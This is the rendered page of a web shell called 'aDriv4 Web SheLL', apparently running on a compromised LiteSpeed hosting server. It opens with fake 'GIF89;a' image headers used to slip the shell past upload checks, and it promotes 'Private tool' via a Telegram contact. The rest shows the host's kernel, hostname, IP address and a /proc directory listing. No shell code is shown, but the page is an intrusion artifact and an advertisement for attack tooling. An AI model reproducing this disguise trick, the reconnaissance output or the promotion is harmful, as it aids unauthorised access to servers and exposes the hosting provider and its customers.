GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium117.web-hosting.com 4.18.0-553.47.1.lve.el8.x86_64 #1 SMP Tue Apr 8 13:54:31 UTC 2025 x86_64
 LiteSpeed
 162.0.229.112
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-11 08:58:34
.. dir - root/root 0755 2025-08-05 08:39:35
4082676 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4082720 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4082722 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4082746 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4082762 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4085402 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4085654 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4085739 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4086216 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4086504 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4086913 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4087087 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
4087905 dir - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
acpi dir - root/root 0555 2025-06-11 08:58:37
bus dir - root/root 0555 2025-06-11 08:58:47
driver dir - root/root 0555 2025-09-06 07:59:43
fs dir - root/root 0555 2025-06-11 08:58:47
irq dir - root/root 0555 2025-06-11 08:58:47
kcare dir - root/root 0555 2025-09-06 07:59:43
lve dir - root/root 0555 2025-09-06 07:59:41
net link - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:43
scsi dir - root/root 0555 2025-06-11 08:58:47
self link - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:39
sys dir - root/root 0555 2025-06-11 08:58:35
sysvipc dir - root/root 0555 2025-09-06 07:59:43
thread-self link - rxflqrzo/rxflqrzo 0555 2025-09-06 07:59:43
tty dir - root/root 0555 2025-09-06 07:59:43
buddyinfo 0 B root/root 0444 2025-09-06 07:59:43
cgroups 0 B root/root 0444 2025-09-06 07:59:43
cmdline text/plain 0 B root/root 0444 2025-09-06 07:59:43
consoles 0 B root/root 0444 2025-09-06 07:59:43
cpuinfo text/plain 0 B root/root 0444 2025-09-06 07:59:40
crypto 0 B root/root 0444 2025-09-06 07:59:43
devices 0 B root/root 0444 2025-09-06 07:59:43
diskstats 0 B root/root 0444 2025-09-06 07:59:43
dma 0 B root/root 0444 2025-09-06 07:59:43
execdomains 0 B root/root 0444 2025-09-06 07:59:43
fb 0 B root/root 0444 2025-09-06 07:59:43
filesystems text/plain 0 B root/root 0444 2025-09-06 07:59:42
interrupts 0 B root/root 0444 2025-09-06 07:59:43
iomem 0 B root/root 0444 2025-09-06 07:59:43
ioports 0 B root/root 0444 2025-09-06 07:59:43
kallsyms 0 B root/root 0444 2025-06-11 08:58:47
kcore 128 TB root/root 0400 2025-06-11 08:58:37
key-users 0 B root/root 0444 2025-09-06 07:59:43
keys 0 B root/root 0444 2025-09-06 07:59:43
kmsg 0 B root/root 0400 2025-09-06 07:59:43
kpagecgroup 0 B root/root 0400 2025-09-06 07:59:43
kpagecount 0 B root/root 0400 2025-09-06 07:59:43
kpageflags 0 B root/root 0400 2025-09-06 07:59:43
loadavg text/plain 0 B root/root 0444 2025-09-06 07:59:43
locks 0 B root/root 0444 2025-09-06 07:59:43
mdstat 0 B root/root 0444 2025-09-06 07:59:43
meminfo text/plain 0 B root/root 0444 2025-09-06 07:59:43
misc 0 B root/root 0444 2025-09-06 07:59:43
modules 0 B root/root 0444 2025-09-06 07:59:43
mounts text/plain 0 B rxflqrzo/rxflqrzo 0444 2025-09-06 07:59:43
mtrr 0 B root/root 0644 2025-06-11 08:58:47
pagetypeinfo 0 B root/root 0400 2025-09-06 07:59:43
partitions 0 B root/root 0444 2025-09-06 07:59:43
sched_debug 0 B root/root 0444 2025-09-06 07:59:43
schedstat 0 B root/root 0444 2025-09-06 07:59:43
slabinfo 0 B root/root 0400 2025-09-06 07:59:43
softirqs 0 B root/root 0444 2025-09-06 07:59:43
stat text/plain 0 B root/root 0444 2025-09-06 07:59:40
swaps 0 B root/root 0444 2025-06-11 08:58:35
sysrq-trigger 0 B root/root 0200 2025-06-11 08:58:47
timer_list 0 B root/root 0400 2025-09-06 07:59:43
uptime text/plain 0 B root/root 0444 2025-09-06 07:59:43
version text/plain 0 B root/root 0444 2025-09-06 07:59:43
vmallocinfo 0 B root/root 0400 2025-09-06 07:59:43
vmstat 0 B root/root 0444 2025-09-06 07:59:43
zoneinfo 0 B root/root 0444 2025-09-06 07:59:43
© aDriv4